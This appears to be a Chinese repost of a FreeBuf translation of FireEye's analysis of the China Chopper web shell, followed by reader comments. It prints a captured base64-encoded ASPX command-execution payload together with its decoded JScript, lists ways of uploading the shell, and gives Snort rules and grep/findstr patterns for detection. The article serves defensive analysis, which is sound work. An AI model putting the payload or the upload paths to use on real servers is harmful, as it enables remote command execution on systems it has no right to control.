CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

中国菜 mv

2017年5月23日 715点热度 0人点赞 0条评论

中国菜 mv

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

技术剖析中国菜刀之系列二

FB独家2013-08-28共648865人围观 ,发现 22 个不明物体WEB安全

在第一部分的菜刀系列剖析里面,已经介绍了“中国菜刀”的易用界面以及一些高级特性。——其中最令人注目的,莫过于其作为web shell的大小,aspx版仅有73字节,在硬盘中才4k。而在这部分里,Fireeye详细介绍“中国菜刀”平台适用性、上传机制、通讯模式以及如何侦测,至于中国菜刀一直在争论的一个话题,有没有后门,各位看官儿,您看了就知道了。

平台:

web服务器平台——JSP, ASP, ASPX, PHP, 或 CFM。同时在Windows和Linux适用。在系列一的分析里面已经展示过“中国菜刀”在windows 2003 IIS 中运行ASPX的情况。在这一部分里,讲展示运行在Linux平台下的PHP情况。如下图所示,PHP版本的内容极其精简。

依赖与不同的平台,“中国菜刀”有不同的可选项。下图显示了在Linux平台下的文件管理特性,(类似于Windows)

下图显示了在MySQL下其数据库客户端例子,(对Linux目标服务器的数据库管理)

如下图所示,虚拟终端命令行也长得很像。但是使用Linux命令而不是Windows命令

上传机制:
由于它的大小,格式,以及简单的payload,“中国菜刀”的传输机制可以很灵活多样。以下任意一种方法都可以进行传输

通过WebDAV文件上传
通过JBoss jmx-console 或者Apache的Tomcat管理页面上传
远程代码执行下载
通过其他方式接入后传输

通讯分析:
我们已经看过它在服务器端的payload以及控制web shell的客户端。接下来,我们检查一下“中国菜刀”的通讯网络流量。我们通过抓包软件,分析其服务端和客户端的通讯情况,如下图所示,客户端在80端口上,以HTTP POST方式通讯。

利用抓包软件Wireshark的“follow the TCP”功能可以看到整个TCP数据交互过程。如下图所示,上面红色部分为攻击者(客户端)POST提交控制命令的内容,下面蓝色部分为被控端返回结果

从图中可见攻击控制代码经过Base64编码,我们利用Web调试器Fiddler的TextWizard功能可以轻易解码,看看攻击者到底发送了什么。(注意%3D是URL编码,实际上是“=”)Fiddler需要这个转换一下。
其攻击payload的编码情况如下如下所示

Password=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

使用Fiddler的text wizard功能将其base64解码为明文, 如下图所示

解码后的数据如下所示:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z1"])));
vare=newSystem.Diagnostics.Process();
varout:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;c.RedirectStandardError=true;
e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String(Request.Item["z2"]));
e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面这段代码的意思是使用base64解码存储在z1、z2这两个参数中的数据。接下来我们来查看z1与z2对应的值。
注意下面加粗部分参数z1与z2:

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解码参数对应的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行cmd命令,列出当前用户与当前目录,执行结果如下所示:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

检测:

now,我们知道中国菜刀的流量通信的特征,可以利用网络或主机级别的防护软件检测这种恶意通信。

网络:

可以利用Snort编写规则检测中国菜刀的流量,能够轻松的捕获到异常数据,Keith Tyler在他的博客中给出了一个基本的IDS规则:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们将该段规则修改了下,只检测数据包内容中包含FromBase64String以及z1,如下:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
(msg: "China Chopper with first Command Detected";
flow:to_server,established; content: "FromBase64String";
content: "z1"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000101;)

以下规则更进一步优化,以下规则在数据包中查找FromBase64String,并且利用正则表达式匹配z后面任意一到三的数字组合,如Z1、Z10、Z100等。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 
(msg: "China Chopper with all Commands Detected"; flow:to_server,established;
content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;
reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/
breaking-down-the-china-chopper-web-shell-part-i.html;
classtype:web-application-attack; sid: 900000102;)

这些IDS特征都可以进一步优化,OK,我们了解了网络层面如何检测中国菜刀数据包,接下来介绍下如何通过主机级别的检测发现该数据包。

主机:

在Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

egrep+正则表达式是一个强大的组合,国外安全研究者Ian Ahl编写了一些正则表达式教程,如下:

regex basics
Using regex with Notepad

另外,Window提供了一种方法,通过findstr命令加上正则表达式搜索文件。如下图:

可以看到在Windows上正则表达式与linux略有区别,如下:

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

如果你要查找一些隐藏的PHP或ASPX文件,可以使用dir命令来,如下图:

dir /S /A /B *.php

Findstr还可以搜索子目录:

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

关于中国菜刀的分析文章已经告一段落,相信中国菜刀的作者看了此系列文章多多少少心里会有一些感触了,多少年了,哥终于清白了!

[感谢cs24、碳基体、Kelz整理编译,转载请注明出处]

FB独家

FB独家127 篇文章等级: 7级
|
|
  • 上一篇:浅析CDN安全
  • 下一篇:[实录]被美国0day交易大户1337day欺骗500美金全过程

这些评论亮了

  • nnigou回复
    假设有后门的话,假如要很长周期菜刀才和服务器通信一次.那么就会只有很小的概率才被注意到.总不能每次都开fiddle吧,就算每次都开fiddle,把加密过的后门地址和后门用户名密码压缩之后也机会不会被注意到.这两篇文章里面都没提到这点.虽然我相信菜刀没有后门,但是这两篇说明书似的文章并不能说明菜刀没有后门机制.
    )19(亮了
  • linuxer回复
    linux下有没有类似菜刀的工具?
    )18(亮了
  • 菜刀帝回复
    哥早就说了不带后门的,你们不信,555~
    )10(亮了
  • Jumbo回复
    终于清白了~
    )7(亮了
发表评论

已有 22 条评论

  • Jumbo 2013-08-28回复1楼

    终于清白了~

    亮了(7)
  • linuxer 2013-08-28回复2楼

    linux下有没有类似菜刀的工具?

    亮了(18)
  • f4ck 2013-08-28回复3楼

    唉,通信机制出来了 云WAF 安全狗 D盾 你们懂的

    亮了(2)
    • noname 2013-08-30回复

      @f4ck 这些规则抓抓包就出来了,相信云WAF 安全狗 D盾早有了,为什么要等国外呢?

      亮了(2)
  • LittleHann (5级)阿里巴巴安全工程师 2013-08-28回复4楼

    Snort编写规则:
    这样基于z1,z2的匹配真的好吗?如果修改一下参数名,能绕过吗?
    感觉如果能基于数据内容的匹配就好了,先base64解码出来一下,再进行内容模式的匹配

    亮了(4)
    • 晴天 (1级)深圳某快递公司专业送快递、查水表! 2013-08-29回复

      @LittleHann 性能资源问题。

      亮了(2)
  • xxoo 2013-08-28回复5楼

    from:http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html

    亮了(4)
  • 菜刀帝 2013-08-28回复6楼

    哥早就说了不带后门的,你们不信,555~

    亮了(10)
  • x2x 2013-08-28回复7楼

    原来出自fireeye!Chopper源码搞出来,加入各种混淆,加解密,大家可以继续玩。

    亮了(5)
  • fuckhellen 2013-08-28回复8楼

    呵呵呵呵呵,国内WAF基本都有的规则老外这才研究出来?

    亮了(2)
  • cwg2552298 (6级)Follow my own course 2013-08-28回复9楼

    观摩 观摩

    亮了(2)
  • nnigou 2013-08-29回复10楼

    从这两篇文章看不出来是否带后门啊.

    亮了(2)
    • nnigou 2013-08-29回复

      假设有后门的话,假如要很长周期菜刀才和服务器通信一次.那么就会只有很小的概率才被注意到.总不能每次都开fiddle吧,就算每次都开fiddle,把加密过的后门地址和后门用户名密码压缩之后也机会不会被注意到.这两篇文章里面都没提到这点.虽然我相信菜刀没有后门,但是这两篇说明书似的文章并不能说明菜刀没有后门机制.

      亮了(19)
  • anlfi (5级) 2013-08-29回复11楼

    呵呵 虽不明但觉利

    亮了(2)
  • cnh4ckff 2013-08-31回复12楼

    这些事居然是一个很大的国外安全公司专门分析,
    才发现D3很强大…
    说白了就是个菜刀抓包分析…
    黑阔们居然没做过吗?…

    亮了(4)
  • 李开复 (1级) 2013-10-27回复13楼

    :cool: 老兵源码 要的顶起

    亮了(1)
    • lemon (1级) 2013-10-29回复

      @李开复  :razz: :grin: 来一份,谢谢~~

      亮了(2)
  • —7℃ (1级) 2013-12-05回复14楼

    这个好!

    亮了(3)
  • silencegg (1级) 2015-08-10回复15楼

    哇咔咔

    亮了(1)
  • leo 2015-11-25回复16楼

    @ 菜刀帝 有后门的菜刀,你是抓包抓不到的!当你抓包时,就不联系远程后门主机,当你不抓包时,才会联系!里面有个防抓包机制的!如果抓包就能抓到后门的,那还叫什么后门!

    亮了(3)
  • g9st (1级) 2016-05-03回复17楼

    能帮我解决我的菜刀问题嘛/?更新数据库发生错误。。。

    亮了(0)
  • forwao (1级) 2016-06-10回复18楼

    不错

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

FB独家

FB独家

FreeBuf独家报道

127 篇文章0 条评论

相关阅读

  • JSPrime:基于JavaScript DOM XSS检测的轻量级代码审计工具
  • 中国最大的Webshell后门箱子调查,所有公开大马全军覆没
  • “强网杯”网络安全挑战赛WriteUp
  • 小心访问:WordPress平台网站正受到攻击
  • 宝马车载娱乐系统ConnectedDrive曝远程操控0day漏洞

特别推荐

关注我们 分享每日精选文章

不容错过

  • 一周海外安全事件回顾(8.31-9.6):扑朔迷离的艳照门blackscreen2014-09-11
  • 【周五预告】FreeBuf公开课直播间 | 企业安全建设之使用开源软件搭建大规模WAF集群FB客服2017-03-24
  • Kali 2.0中无线安全工具更新特性(浅谈pixie结合reaver的攻击原理)月尽西楼2015-08-14
  • 技术分享:WIFI钓鱼的入门姿势东二门陈冠希2016-03-14

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me